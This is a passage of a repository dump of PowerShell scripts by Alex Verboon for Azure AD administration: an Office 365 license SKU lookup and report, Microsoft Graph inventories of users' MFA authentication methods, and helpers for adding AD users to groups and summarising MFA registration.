30 | "ENTERPRISEPREMIUM" = "32"
31 | "IDENTITY_THREAT_PROTECTION" = "64"
32 | "FLOW_FREE" = "128"
33 | }
34 |
35 |
36 | $Skutable = @{
37 | "O365_BUSINESS_ESSENTIALS" = "Office 365 Business Essentials"
38 | "O365_BUSINESS_PREMIUM" = "Office 365 Business Premium"
39 | "DESKLESSPACK" = "Office 365 (Plan K1)"
40 | "DESKLESSWOFFPACK" = "Office 365 (Plan K2)"
41 | "LITEPACK" = "Office 365 (Plan P1)"
42 | "EXCHANGESTANDARD" = "Office 365 Exchange Online Only"
43 | "STANDARDPACK" = "Office 365 Enterprise Plan E1"
44 | "STANDARDWOFFPACK" = "Office 365 (Plan E2)"
45 | "ENTERPRISEPACK" = "Office 365 Enterprise Plan E3"
46 | "ENTERPRISEPACKLRG" = "Enterprise Plan E3"
47 | "ENTERPRISEWITHSCAL" = "Enterprise Plan E4"
48 | "STANDARDPACK_STUDENT" = "Office 365 (Plan A1) for Students"
49 | "STANDARDWOFFPACKPACK_STUDENT" = "Office 365 (Plan A2) for Students"
50 | "ENTERPRISEPACK_STUDENT" = "Office 365 (Plan A3) for Students"
51 | "ENTERPRISEWITHSCAL_STUDENT" = "Office 365 (Plan A4) for Students"
52 | "STANDARDPACK_FACULTY" = "Office 365 (Plan A1) for Faculty"
53 | "STANDARDWOFFPACKPACK_FACULTY" = "Office 365 (Plan A2) for Faculty"
54 | "ENTERPRISEPACK_FACULTY" = "Office 365 (Plan A3) for Faculty"
55 | "ENTERPRISEWITHSCAL_FACULTY" = "Office 365 (Plan A4) for Faculty"
56 | "ENTERPRISEPACK_B_PILOT" = "Office 365 (Enterprise Preview)"
57 | "STANDARD_B_PILOT" = "Office 365 (Small Business Preview)"
58 | "VISIOCLIENT" = "Visio Pro Online"
59 | "POWER_BI_ADDON" = "Office 365 Power BI Addon"
60 | "POWER_BI_INDIVIDUAL_USE" = "Power BI Individual User"
61 | "POWER_BI_STANDALONE" = "Power BI Stand Alone"
62 | "POWER_BI_STANDARD" = "Power-BI Standard"
63 | "PROJECTESSENTIALS" = "Project Lite"
64 | "PROJECTCLIENT" = "Project Professional"
65 | "PROJECTONLINE_PLAN_1" = "Project Online"
66 | "PROJECTONLINE_PLAN_2" = "Project Online and PRO"
67 | "ProjectPremium" = "Project Online Premium"
68 | "ECAL_SERVICES" = "ECAL"
69 | "EMS" = "ENTERPRISE MOBILITY + SECURITY E3"
70 | "RIGHTSMANAGEMENT_ADHOC" = "Windows Azure Rights Management"
71 | "MCOMEETADV" = "PSTN conferencing"
72 | "SHAREPOINTSTORAGE" = "SharePoint storage"
73 | "PLANNERSTANDALONE" = "Planner Standalone"
74 | "CRMIUR" = "CMRIUR"
75 | "BI_AZURE_P1" = "Power BI Reporting and Analytics"
76 | "INTUNE_A" = "Windows Intune Plan A"
77 | "PROJECTWORKMANAGEMENT" = "Office 365 Planner Preview"
78 | "ATP_ENTERPRISE" = "Exchange Online Advanced Threat Protection"
79 | "EQUIVIO_ANALYTICS" = "Office 365 Advanced eDiscovery"
80 | "AAD_BASIC" = "Azure Active Directory Basic"
81 | "RMS_S_ENTERPRISE" = "Azure Active Directory Rights Management"
82 | "AAD_PREMIUM" = "Azure Active Directory Premium"
83 | "MFA_PREMIUM" = "Azure Multi-Factor Authentication"
84 | "STANDARDPACK_GOV" = "Microsoft Office 365 (Plan G1) for Government"
85 | "STANDARDWOFFPACK_GOV" = "Microsoft Office 365 (Plan G2) for Government"
86 | "ENTERPRISEPACK_GOV" = "Microsoft Office 365 (Plan G3) for Government"
87 | "ENTERPRISEWITHSCAL_GOV" = "Microsoft Office 365 (Plan G4) for Government"
88 | "DESKLESSPACK_GOV" = "Microsoft Office 365 (Plan K1) for Government"
89 | "ESKLESSWOFFPACK_GOV" = "Microsoft Office 365 (Plan K2) for Government"
90 | "EXCHANGESTANDARD_GOV" = "Microsoft Office 365 Exchange Online (Plan 1) only for Government"
91 | "EXCHANGEENTERPRISE_GOV" = "Microsoft Office 365 Exchange Online (Plan 2) only for Government"
92 | "SHAREPOINTDESKLESS_GOV" = "SharePoint Online Kiosk"
93 | "EXCHANGE_S_DESKLESS_GOV" = "Exchange Kiosk"
94 | "RMS_S_ENTERPRISE_GOV" = "Windows Azure Active Directory Rights Management"
95 | "OFFICESUBSCRIPTION_GOV" = "Office ProPlus"
96 | "MCOSTANDARD_GOV" = "Lync Plan 2G"
97 | "SHAREPOINTWAC_GOV" = "Office Online for Government"
98 | "SHAREPOINTENTERPRISE_GOV" = "SharePoint Plan 2G"
99 | "EXCHANGE_S_ENTERPRISE_GOV" = "Exchange Plan 2G"
100 | "EXCHANGE_S_ARCHIVE_ADDON_GOV" = "Exchange Online Archiving"
101 | "EXCHANGE_S_DESKLESS" = "Exchange Online Kiosk"
102 | "SHAREPOINTDESKLESS" = "SharePoint Online Kiosk"
103 | "SHAREPOINTWAC" = "Office Online"
104 | "YAMMER_ENTERPRISE" = "Yammer Enterprise"
105 | "EXCHANGE_L_STANDARD" = "Exchange Online (Plan 1)"
106 | "MCOLITE" = "Lync Online (Plan 1)"
107 | "SHAREPOINTLITE" = "SharePoint Online (Plan 1)"
108 | "OFFICE_PRO_PLUS_SUBSCRIPTION_SMBIZ" = "Office ProPlus"
109 | "EXCHANGE_S_STANDARD_MIDMARKET" = "Exchange Online (Plan 1)"
110 | "MCOSTANDARD_MIDMARKET" = "Lync Online (Plan 1)"
111 | "SHAREPOINTENTERPRISE_MIDMARKET" = "SharePoint Online (Plan 1)"
112 | "OFFICESUBSCRIPTION" = "Office ProPlus"
113 | "YAMMER_MIDSIZE" = "Yammer"
114 | "DYN365_ENTERPRISE_PLAN1" = "Dynamics 365 Customer Engagement Plan Enterprise Edition"
115 | "ENTERPRISEPREMIUM_NOPSTNCONF" = "Enterprise E5 (without Audio Conferencing)"
116 | "ENTERPRISEPREMIUM" = "Office 365 Enterprise E5 (with Audio Conferencing)"
117 | "MCOSTANDARD" = "Skype for Business Online Standalone Plan 2"
118 | "PROJECT_MADEIRA_PREVIEW_IW_SKU" = "Dynamics 365 for Financials for IWs"
119 | "STANDARDWOFFPACK_IW_STUDENT" = "Office 365 Education for Students"
120 | "STANDARDWOFFPACK_IW_FACULTY" = "Office 365 Education for Faculty"
121 | "EOP_ENTERPRISE_FACULTY" = "Exchange Online Protection for Faculty"
122 | "EXCHANGESTANDARD_STUDENT" = "Exchange Online (Plan 1) for Students"
123 | "OFFICESUBSCRIPTION_STUDENT" = "Office ProPlus Student Benefit"
124 | "STANDARDWOFFPACK_FACULTY" = "Office 365 Education E1 for Faculty"
125 | "STANDARDWOFFPACK_STUDENT" = "Microsoft Office 365 (Plan A2) for Students"
126 | "DYN365_FINANCIALS_BUSINESS_SKU" = "Dynamics 365 for Financials Business Edition"
127 | "DYN365_FINANCIALS_TEAM_MEMBERS_SKU" = "Dynamics 365 for Team Members Business Edition"
128 | "FLOW_FREE" = "Microsoft Flow Free"
129 | "POWER_BI_PRO" = "Power BI Pro"
130 | "O365_BUSINESS" = "Office 365 Business"
131 | "DYN365_ENTERPRISE_SALES" = "Dynamics Office 365 Enterprise Sales"
132 | "RIGHTSMANAGEMENT" = "Rights Management"
133 | "PROJECTPROFESSIONAL" = "Project Professional"
134 | "VISIOONLINE_PLAN1" = "Visio Online Plan 1"
135 | "EXCHANGEENTERPRISE" = "Exchange Online Plan 2"
136 | "DYN365_ENTERPRISE_P1_IW" = "Dynamics 365 P1 Trial for Information Workers"
137 | "DYN365_ENTERPRISE_TEAM_MEMBERS" = "Dynamics 365 For Team Members Enterprise Edition"
138 | "CRMSTANDARD" = "Microsoft Dynamics CRM Online Professional"
139 | "EXCHANGEARCHIVE_ADDON" = "Exchange Online Archiving For Exchange Online"
140 | "EXCHANGEDESKLESS" = "Exchange Online Kiosk"
141 | "SPZA_IW" = "App Connect"
142 | "WINDOWS_STORE" = "Windows Store for Business"
143 | "MCOEV" = "Microsoft Phone System"
144 | "VIDEO_INTEROP" = "Polycom Skype Meeting Video Interop for Skype for Business"
145 | "SPE_E5" = "Microsoft 365 E5"
146 | "SPE_E3" = "Microsoft 365 E3"
147 | "ATA" = "Advanced Threat Analytics"
148 | "MCOPSTN2" = "Domestic and International Calling Plan"
149 | "FLOW_P1" = "Microsoft Flow Plan 1"
150 | "FLOW_P2" = "Microsoft Flow Plan 2"
151 | "CRMSTORAGE" = "Microsoft Dynamics CRM Online Additional Storage"
152 | "SMB_APPS" = "Microsoft Business Apps"
153 | "MICROSOFT_BUSINESS_CENTER" = "Microsoft Business Center"
154 | "DYN365_TEAM_MEMBERS" = "Dynamics 365 Team Members"
155 | "STREAM" = "Microsoft Stream Trial"
156 | "EMSPREMIUM" = "ENTERPRISE MOBILITY + SECURITY E5"
157 | "THREAT_INTELLIGENCE" = "Office 365 Advanced Threat Protection (Plan 2)"
158 | "IDENTITY_THREAT_PROTECTION" = "Microsoft 365 E5 Security"
159 | "WIN_DEF_ATP" = "Microsoft Defender Advanced Threat Protection"
160 | }
161 |
162 | <#
163 | # Import all AzureAD User Information
164 | # $UserLicenses = Get-Content -Path "C:\temp\mikron\user_liceneses.csv" | ConvertFrom-Csv
165 | # Add an additional attribute to each record with the SKU band value
166 | $UserLicenses | ForEach{
167 | $_ | Add-Member -MemberType NoteProperty -Name "SKUsumValue" -Value ($sku_band_value["$($_.SKUName)"])
168 | $_ | Add-Member -MemberType NoteProperty -Name "SKUFriendlyName" -Value ($Skutable["$($_.SKUName)"])
169 | }
170 |
171 | #>
172 |
173 | # Get All users and their license information and enrich the data with friendly SKU Names and assign a band value for later processing
174 |
175 | $UserLicences = [System.Collections.Generic.List[Object]]::new()
176 | ForEach ($Sku in $SkuScope) {
177 | Write-host "Processing license holders for" $Sku.SkuPartNumber
178 | $SkuUsers = Get-AzureADUser -All $True | ? {$_.AssignedLicenses -Match $Sku.SkuId}
179 | ForEach ($User in $SkuUsers) {
180 | $Object1 = [PSCustomObject] @{
181 | User = $User.DisplayName
182 | UPN = $User.UserPrincipalName
183 | ObjectID = $user.ObjectId
184 | Department = $User.Department
185 | Country = $User.Country
186 | SKU = $Sku.SkuId
187 | SKUProductName = ($Skutable["$($Sku.skupartnumber)"])
188 | SKUName = $Sku.SkuPartNumber
189 | SKUSumValue = ($sku_band_value["$($Sku.SkuPartNumber)"])
190 | SKUSumNames = $sku_lookup1.Keys | foreach {$sku_lookup1.item(($_ ) -band $value)}
191 | }
192 | $UserLicences.Add($Object1)
193 | }
194 | }
195 |
196 |
197 | # Create a unique user list
198 | $UserReference = $UserLicences | Select-Object UPN -Unique
199 | $TotalUsers = $UserReference.Count
200 |
201 | # Preparing Details
202 | Write-Output "Preparing details"
203 | $Report = [System.Collections.Generic.List[Object]]::new()
204 | $count = 0
205 | ForEach($user in $UserReference)
206 | {
207 | Write-Output "Processing $count / $TotalUsers"
208 | $alluserskus = $null
209 | # Get all SKUs assigned to this user
210 | $alluserskus = @($UserLicences | Select-Object UPN, SKUName,SKUProductName,SKUSumValue |Where-Object {$_.upn -eq $user.UPN})
211 | # Sum the SKU band values
212 | $SKUBandValue = (($alluserskus).SKUSumValue | Measure-Object -Sum).Sum
213 |
214 | $ReportLine = [PSCustomObject][ordered]@{
215 | UPN = $user.UPN
216 | TotalSKUCount = $alluserskus.Count
217 | SKUBandValue = $SKUBandValue
218 | SKUDetails = $alluserskus
219 | }
220 | $Report.Add($ReportLine)
221 | $count++
222 | }
223 |
224 |
225 |
--------------------------------------------------------------------------------
/AzureAD/MFA/MfaAuthMethodsAnalysisV1/mfastats.ps1:
--------------------------------------------------------------------------------
1 | # run the modified mfa info gathering script stored here
2 | # https://gist.github.com/alexverboon/f8fd3300dcf999e1a5f5554cad05030d
3 |
4 | $mfa = .\MfaAuthMethodsAnalysis.ps1 -TenantId "YOUR TEANANT ID"
5 | $MFA_Inactive = @($MFA | Where-Object {$_.MfaAuthMethodCount -eq 0})
6 | $MFA_Active = @( $MFA | Where-Object {$_.MfaAuthMethodCount -gt 0})
7 | $MFA_Inactive_NoLicense = @($MFA | Where-Object {$_.MfaAuthMethodCount -eq 0 -and $_.IsLicensed -eq $False})
8 | $MFA_Active_NoLicense = @($MFA | Where-Object {$_.MfaAuthMethodCount -gt 0 -and $_.IsLicensed -eq $False})
9 | $MFA_InActive_HasLicense = @($MFA | Where-Object {$_.MfaAuthMethodCount -eq 0 -and $_.IsLicensed -eq $true})
10 | $MFA_Active_HasLicense = @($MFA | Where-Object {$_.MfaAuthMethodCount -gt 0 -and $_.IsLicensed -eq $true})
11 | $MFA_Guests_MFA_Active = @($mfa | Where-Object {$_.UserPrincipalName -like "*#EXT*" -and $_.MfaAuthMethodCount -gt 0 } )
12 |
13 | $MFAResults = [PSCUSTOMOBJECT][ordered]@{
14 | MFA_Active = $MFA_Active.Count
15 | MFA_Inactive = $MFA_Inactive.Count
16 | MFA_Inactive_NoLicense = $MFA_Inactive_NoLicense.Count
17 | MFA_Active_NoLicense = $MFA_Active_NoLicense.Count
18 | MFA_InActive_HasLicense = $MFA_InActive_HasLicense.Count
19 | MFA_Active_HasLicense = $MFA_Active_HasLicense.Count
20 | MFA_Guests_Active = $MFA_Guests_MFA_Active.Count
21 | }
22 |
23 | $MFAResults
24 |
--------------------------------------------------------------------------------
/AzureAD/MFA/MfaAuthMethodsAnalysisV2/Get-AzureADUserAuthMethodInventory.ps1:
--------------------------------------------------------------------------------
1 |
2 | <#PSScriptInfo
3 | .VERSION 1.0.0
4 | .GUID c1b0b9d0-5fc1-494c-b746-46d8d4543b48
5 | .AUTHOR Alex Verboon
6 | .TAGS AzureAD, Identity, Authentication, MFA
7 | .PROJECTURI "https://github.com/alexverboon/PowerShellCode/tree/main/AzureAD/MFA/MfaAuthMethodsAnalysisV2"
8 | .DESCRIPTION This script retrieves AzureAD User Authentication Method information
9 | .SYNOPSIS This script retrieves AzureAD User Authentication method information.
10 | .EXAMPLE
11 | Connect-Graph -Scopes @("UserAuthenticationMethod.Read.All", "User.Read.All" )
12 | $AuthInfo = .\Get-AzureADUserAuthMethodInventory.ps1
13 | .NOTES
14 | Author: Alex Verboon
15 | Creation Date: 07.02.2021
16 | Update: 25.04.2022, Updated to work with required modules, adjusted code to reflect graph changes in MgUserAuthenticationMethod return object
17 | #>
18 | #Requires -Modules Microsoft.Graph.Users, Microsoft.Graph.Identity.SignIns
19 |
20 | if ($null -eq $(Get-MgContext)) {
21 | Throw "Authentication needed, call 'Connect-Graph -Scopes @(`"UserAuthenticationMethod.Read.All`",`"User.Read.All`")'."
22 | }
23 |
24 | Try{
25 | Select-MgProfile -Name Beta
26 | $AllUsers = Get-mguser -all
27 | $AuthInfo = [System.Collections.ArrayList]::new()
28 | ForEach ($user in $allUsers){
29 | $UserAuthMethod = $null
30 | $UserAuthMethod = Get-MgUserAuthenticationMethod -UserId "$($user.id)"
31 | $object = [PSCustomObject]@{
32 | userPrincipalName = $user.userPrincipalName
33 | UserType = $user.UserType
34 | AccountEnabled = $user.AccountEnabled
35 | id = $user.id
36 | DisplayName = $user.Displayname
37 | AuthMethods = $UserAuthMethod
38 | AuthMethodsCount = ($UserAuthMethod).count
39 | Phone = If ($UserAuthMethod.additionalproperties.values -match "#microsoft.graph.phoneAuthenticationMethod") {"Yes"} Else{"No"}
40 | MicrosoftAuthenticator = If ($UserAuthMethod.additionalproperties.values -match "#microsoft.graph.microsoftAuthenticatorAuthenticationMethod") {"Yes"} Else{"No"}
41 | Email = If ($UserAuthMethod.additionalproperties.values -match "#microsoft.graph.emailAuthenticationMethod") {"Yes"} Else{"No"}
42 | HelloForBusiness = If ($UserAuthMethod.additionalproperties.values -match "#microsoft.graph.windowsHelloForBusinessAuthenticationMethod") {"Yes"} Else{"No"}
43 | fido2 = If ($UserAuthMethod.additionalproperties.values -match "#microsoft.graph.fido2AuthenticationMethod") {"Yes"} Else{"No"}
44 | Password = If ($UserAuthMethod.additionalproperties.values -match "#microsoft.graph.passwordAuthenticationMethod") {"Yes"} Else{"No"}
45 | passwordless = If ($UserAuthMethod.additionalproperties.values -match "#microsoft.graph.passwordlessMicrosoftAuthenticatorAuthenticationMethod") {"Yes"} Else{"No"}
46 | }
47 | [void]$AuthInfo.Add($object)
48 | }
49 | $AuthInfo
50 | }
51 | Catch
52 | {
53 | Write-Error $PSItem
54 | }
55 |
--------------------------------------------------------------------------------
/AzureAD/MFA/MfaAuthMethodsAnalysisV2/authmethod01.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/alexverboon/PowerShellCode/1d9ae558513599bd3a7a542ac80b9473489c9097/AzureAD/MFA/MfaAuthMethodsAnalysisV2/authmethod01.png
--------------------------------------------------------------------------------
/AzureAD/MFA/MfaAuthMethodsAnalysisV2/readme.md:
--------------------------------------------------------------------------------
1 | # AzureAD - User Authentication Method Inventory
2 |
3 | ## Install Prerequisites
4 |
5 | This script uses Microsoft Graph PowerShell modules
6 |
7 | ```powershell
8 | find-module -name "Microsoft.graph" | Install-module -Scope CurrentUser
9 | find-module -name "Microsoft.Graph.Identity.SignIns" | Install-module -Scope CurrentUser
10 | ```
11 |
12 | ## Connect to Graph
13 |
14 | ```powershell
15 | Connect-Graph -Scopes @("UserAuthenticationMethod.Read.All", "User.Read.All" )
16 | ```
17 |
18 | ## Collect AzureAD User Authentication Method information
19 |
20 | ```powershell
21 | $Authinfo = .\Get-AzureADUserAuthMethodInventory.ps1
22 | ```
23 |
24 | ***Output***
25 | ```powershell
26 | userPrincipalName : john.doe@contoso.com
27 | UserType : Member
28 | AccountEnabled : True
29 | id : e252875e-8d27-434g-b5e1-32521c11fd25
30 | DisplayName : John Doe
31 | AuthMethods : {Microsoft.Graph.PowerShell.Models.MicrosoftGraphAuthenticationMethod,
32 | Microsoft.Graph.PowerShell.Models.MicrosoftGraphAuthenticationMethod,
33 | Microsoft.Graph.PowerShell.Models.MicrosoftGraphAuthenticationMethod}
34 | AuthMethodsCount : 3
35 | Phone : Yes
36 | MicrosoftAuthenticator : No
37 | Email : Yes
38 | HelloForBusiness : No
39 | fido2 : No
40 | Password : Yes
41 | passwordless : No
42 |
43 | userPrincipalName : john.doe@contoso.com
44 | UserType : Member
45 | AccountEnabled : True
46 | id : f481026c-43f5-4c39-9b16-af50faf79c61
47 | DisplayName : John Doe
48 | AuthMethods : {Microsoft.Graph.PowerShell.Models.MicrosoftGraphAuthenticationMethod,
49 | Microsoft.Graph.PowerShell.Models.MicrosoftGraphAuthenticationMethod,
50 | Microsoft.Graph.PowerShell.Models.MicrosoftGraphAuthenticationMethod}
51 | AuthMethodsCount : 3
52 | Phone : No
53 | MicrosoftAuthenticator : Yes
54 | Email : No
55 | HelloForBusiness : Yes
56 | fido2 : No
57 | Password : Yes
58 | passwordless : No
59 |
60 | ```
61 |
62 |
--------------------------------------------------------------------------------
/AzureAD/MFA/OldStuff/Add-mUserToGroup.ps1:
--------------------------------------------------------------------------------
1 |
2 | function Add-mUserToGroup
3 | {
4 | <#
5 | .Synopsis
6 | Add-mUserToGroup
7 | .DESCRIPTION
8 | Add-mUserToGroup adds one or more Active Directory users from an input file to the specified
9 | Active Directory group.
10 |
11 | .PARAMETER InputFile
12 | A txt input file that contains a list of users in the format of the users UserPrincipalName
13 |
14 | john.monroe@company.com
15 | jane.keen@company.com
16 | tom.wayne@company.com
17 |
18 | .PARAMETER UserPrincipalName
19 | The UserPrincipalName of the user to add to the group. User this cmdlet to add a single user to a group
20 | without using an input file
21 |
22 | .PARAMETER Group
23 | The Active Directory Group to add users
24 |
25 | .EXAMPLE
26 | Add-mUserToGroup -InputFile c:\data\userlist.txt -Group MTG_MFA_ROLLOUT_TEST
27 |
28 | The above command reads the userprincipalnames from the userlist.txt and adds
29 | each user into the Active Directory group MTG_MFA_ROLLOUT_TEST
30 |
31 | .EXAMPLE
32 | Add-mUserToGroup -UserPrincipalName jane@verboon.org -Group MTG_MFA_ROLLOUT_TEST
33 |
34 | The above command adds jane to the specified group
35 |
36 | .EXAMPLE
37 | Add-mUserToGroup -InputFile c:\data\userlist.txt -Group MTG_MFA_ROLLOUT_TEST -whatif
38 |
39 | The above command only shows the users that would be added, but does not perform the
40 | actual task of adding users to the specified group.
41 |
42 | .NOTES
43 | v1.0, 01.04.2020, Alex Verboon
44 | #>
45 | [CmdletBinding(DefaultParameterSetName='Parameter Set 1',
46 | SupportsShouldProcess=$true,
47 | ConfirmImpact='Medium')]
48 | Param
49 | (
50 | # Input file with list of users (UserPrincipalName)
51 | [Parameter(Mandatory=$true,
52 | Position=0,
53 | ParameterSetName='InputFile')]
54 | [ValidateNotNullOrEmpty()]
55 | [string]$InputFile,
56 |
57 | # Active Directory User
58 | [Parameter(Mandatory=$true,
59 | Position=0,
60 | ParameterSetName='User')]
61 | [ValidateNotNullOrEmpty()]
62 | [string]$UserPrincipalName,
63 |
64 | # Active Directory Group
65 | [Parameter(Mandatory=$true,
66 | Position=1)]
67 | [ValidateNotNullOrEmpty()]
68 | [string]$Group
69 | )
70 |
71 | Begin
72 | {
73 | $UserList = $null
74 |
75 |
76 |
77 |
78 | # Check if input file is valid
79 | If($InputFile)
80 | {
81 | If (Test-Path -Path $InputFile -PathType Leaf)
82 | {
83 | $UserList = Get-Content -Path $InputFile
84 | Write-Verbose "InputFile: $InputFile"
85 | }
86 | Else
87 | {
88 | Write-Error "Specified file $InputFile does not exist"
89 | Break
90 | }
91 | }
92 | ElseIf($UserPrincipalName)
93 | {
94 |
95 | Write-Verbose "Check if user exists"
96 | $ADUser = @(Get-ADUser -Filter "UserPrincipalName -eq '$UserPrincipalName'" -Properties * -ErrorAction Stop)
97 | If ([string]::IsNullOrEmpty($ADUser))
98 | {
99 | Write-Error "User: $UserPrincipalName does not exist"
100 | }
101 | Else
102 | {
103 | $UserList = @($UserPrincipalName)
104 | Write-Verbose "AD User: $UserPrincipalName"
105 | }
106 | }
107 |
108 |
109 |
110 |
111 |
112 |
113 | If ($Group)
114 | {
115 | Try{
116 | $ADGroup = Get-ADGroup -Identity "$Group" -ErrorAction stop
117 | Write-Verbose "AD Group: $Group"
118 | }
119 | Catch{
120 | Write-Error "Group $Group does not exist"
121 | Break
122 | }
123 | }
124 | }
125 | Process
126 | {
127 | ForEach ($user in $UserList)
128 | {
129 | Write-Verbose "Processing user $user"
130 | if ($pscmdlet.ShouldProcess("$User", "Adding user to group $Group"))
131 | {
132 | $UserToAdd = Get-ADUser -Filter "UserPrincipalName -eq '$user'"
133 | If([string]::IsNullOrEmpty($UserToAdd))
134 | {
135 | Write-Warning "User $user not found"
136 | }
137 | Else
138 | {
139 | Add-ADGroupMember -Identity $ADGroup -Members $UserToAdd
140 | }
141 | }
142 | }
143 | }
144 | End
145 | {
146 |
147 | }
148 | }
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
--------------------------------------------------------------------------------
/AzureAD/MFA/OldStuff/Get-AzMFADeploymentStats.ps1:
--------------------------------------------------------------------------------
1 |
2 | function Get-AzMFADeploymentStats
3 | <#
4 | .Synopsis
5 | Get-AzMFADeploymentStats
6 | .DESCRIPTION
7 | Get-AzMFADeploymentStats retrieves the MFA registration information from all users in the
8 | Tenant and summarizes the results by MFA Authentication mode.
9 | .EXAMPLE
10 | Get-AzMFADeploymentStats
11 | .NOTES
12 | v1.0, 17.03.2020, Alex Verboon, initial version
13 | #>
14 |
15 | {
16 | [CmdletBinding()]
17 | Param
18 | (
19 |
20 | )
21 |
22 | Begin
23 | {
24 | If (Test-Path -Path "$PSScriptRoot\Get-AzMFAStatus.ps1" -PathType Leaf)
25 | {
26 | . "$PSScriptRoot\Get-AzMFAStatus.ps1"
27 | }
28 | Else
29 | {
30 | Write-Error "Script: $PSScriptRoot\Get-AzMFAStatus.ps1 not found"
31 | # you find me on github
32 | }
33 | }
34 | Process
35 | {
36 |
37 |
38 | Write-verbose "Retrieve all users from the tenant includig their MFA registration information"
39 | $AllUsers = Get-AzMFAStatus -Verbose
40 | $MFARegisteredUsers = $AllUsers | Where-Object {$_.OneWaySMSIsDefault -like 'True' -or $_.PhoneAppNotificationIsDefault -like "True" -or $_.PhoneAppOTPIsDefault -like "True" -or $_.TwoWayVoiceMobileIsDefault -like 'True' -or $_.authemail -notlike "" -or $_.AuthPoneNumber -notlike "" -or $_.AuthAltPhone -notlike ""}
41 |
42 | Write-Verbose "Users with SMS As Default"
43 | $Total_OneWaySMSIsDefault = $MFARegisteredUsers | Where-Object {$_.OneWaySMS -like 'True'-and $_.OneWaySMSIsDefault -like 'True'}
44 | #$Total_OneWaySMSIsDefault.count
45 |
46 | write-verbose "PhoneAppNotification As Default"
47 | $Total_PhoneAppNotificationIsDefault = $MFARegisteredUsers | Where-Object {$_.PhoneAppNotification -like 'True' -and $_.PhoneAppNotificationIsDefault -like 'True'}
48 | #$Total_PhoneAppNotificationIsDefault.count
49 |
50 | Write-verbose "PhoneAppOTP As Default"
51 | $Total_PhoneAppOTPIsDefault = $MFARegisteredUsers | Where-Object {$_.PhoneAppOTP -like 'True' -and $_.PhoneAppOTPIsDefault -like 'True'}
52 | #$Total_PhoneAppOTPIsDefault.count
53 |
54 | Write-Verbose "TwoWayVoiceMobileIsDefault As Default"
55 | $Total_TwoWayVoiceMobileIsDefault = $MFARegisteredUsers | Where-Object {$_.TwoWayVoiceMobile -like 'True' -and $_.TwoWayVoiceMobileIsDefault -like 'True'}
56 | #$Total_TwoWayVoiceMobileIsDefault.count
57 |
58 | #write-verbose "Other methods such as auth email, phone number or alternate number"
59 | #$mailphone = $MFARegisteredUsers | Where-Object {$_.authemail -notlike "" -or $_.AuthPoneNumber -notlike "" -or $_.AuthAltPhone -notlike ""}
60 | #$TotaleMail_PhoneOnly = $MFARegisteredUsers | Where-Object {$_.authemail -notlike "" -or $_.AuthPoneNumber -notlike "" -or $_.AuthAltPhone -notlike "" -and $_.OneWaySMSIsDefault -like 'False' -and $_.PhoneAppNotificationIsDefault -like 'False' -and $_.PhoneAppOTPIsDefault -like 'False'}
61 | #$TotaleMail_PhoneOnly.count
62 |
63 | Write-Verbose "Email registratoin only"
64 | $TotaleMailOnly = $MFARegisteredUsers | Where-Object {$_.authemail -notlike "" -and $_.AuthPoneNumber -like "" -and $_.AuthAltPhone -like "" -and $_.OneWaySMSIsDefault -like 'False' -and $_.PhoneAppNotificationIsDefault -like 'False' -and $_.PhoneAppOTPIsDefault -like 'False'}
65 | #$TotaleMailOnly.count
66 |
67 | Write-Verbose "Phone registratoin only"
68 | $TotalPhoneOnly = $MFARegisteredUsers | Where-Object {$_.authemail -like "" -and $_.AuthPoneNumber -notlike "" -and $_.AuthAltPhone -notlike "" -and $_.OneWaySMSIsDefault -like 'False' -and $_.PhoneAppNotificationIsDefault -like 'False' -and $_.PhoneAppOTPIsDefault -like 'False'}
69 | #$TotalPhoneOnly.count
70 |
71 | $object = [PScustomObject][ordered]@{
72 | TotalUsersInTenant = $AllUsers.Count
73 | TotalUsersMFARegistered = $MFARegisteredUsers.count
74 | TotalUsersNotMFARegistered = $AllUsers.Count - $MFARegisteredUsers.count
75 | TotalOneWaySMSIsDefault = $Total_OneWaySMSIsDefault.count
76 | TotalPhoneAppNotificationIsDefault = $Total_PhoneAppNotificationIsDefault.count
77 | TotalPhoneAppOTPIsDefault = $Total_PhoneAppOTPIsDefault.count
78 | TotalTwoWayVoiceMobileIsDefault = $Total_TwoWayVoiceMobileIsDefault.count
79 | TotaleMailOnly = $TotaleMailOnly.count
80 | TotalPhoneOnly = $TotalPhoneOnly.count
81 | }
82 |
83 | $object
84 | }
85 | End
86 | {
87 | }
88 | }
89 |
90 |
--------------------------------------------------------------------------------
/AzureAD/MFA/OldStuff/Get-AzMFAStatus.ps1:
--------------------------------------------------------------------------------
1 | function Get-AzMFAStatus
2 | {
3 | <#
4 | .Synopsis
5 | Get-AzMFAStatus
6 | .DESCRIPTION
7 | Get-AzMFAStatus retrieves Multifactor Authentication configuration informationo
8 | from all registered users within an Azure Active Directory tenant.
9 |
10 | UserPrincipalName : alex@contoso.com
11 | DisplayName : Alex
12 | AuthEmail : alex@fabrikam.com
13 | AuthPhoneNumber : +1 123 456789
14 | PhoneDeviceName : Alex’s iPhone
15 | AuthAltPhone :
16 | PhoneAppNotification : True
17 | PhoneAppNotificationIsDefault : True
18 | PhoneAppOTP : True
19 | PhoneAppOTPnIsDefault : False
20 | TwoWayVoiceMobile : True
21 | TwoWayVoiceMobileIsDefault : False
22 | OneWaySMS : True
23 | OneWaySMSIsDefault : False
24 | .PARAMETER UserPrincipalName
25 | The user ID of the user to retrieve.
26 | .PARAMETER AuthMethod
27 | Using this parameter allows to filter the results for one of the following MFA Authentication method.
28 | PhoneAppNotification
29 | PhoneAppOTP
30 | TwoWayVoiceMobile
31 | OneWaySMS
32 | email
33 | .PARAMETER IsDefault
34 |
35 | Use this parameter in combinaation with parameter AuthMethod to filter the results where the MFA authentication
36 | method is the default.
37 | .PARAMETER State
38 | Using this parameter allows to filter the results for one of the following MFA Authentication states.
39 |
40 | Disabled
41 | Enabled
42 | Enforced
43 |
44 | Note: When using MFA through Conditional Acess, the state always remains Disabled.
45 |
46 | .EXAMPLE
47 | Get-AzMFAStatus
48 | This command retrieves all users within the domain
49 | .EXAMPLE
50 | Get-AzMFAStatus -AuthMethod PhoneAppNotification
51 | This command retrieves all users that have PhoneAppNotification enabled
52 | .EXAMPLE
53 | Get-AzMFAStatus -UserPrincipalName alex@contoso.com
54 | This command lists the MFA configuration settings for the specified user.
55 | .EXAMPLE
56 | Get-AzMFAStatus -State Disabled
57 | This command lists all users that have MFA explicitely enabled. If you use Conditional access and MFA
58 | you should not have any uses that have an MFA state of "Enabled" or "Enforced'
59 | .NOTES
60 | 06.02.2019 v1.0, Alex Verboon
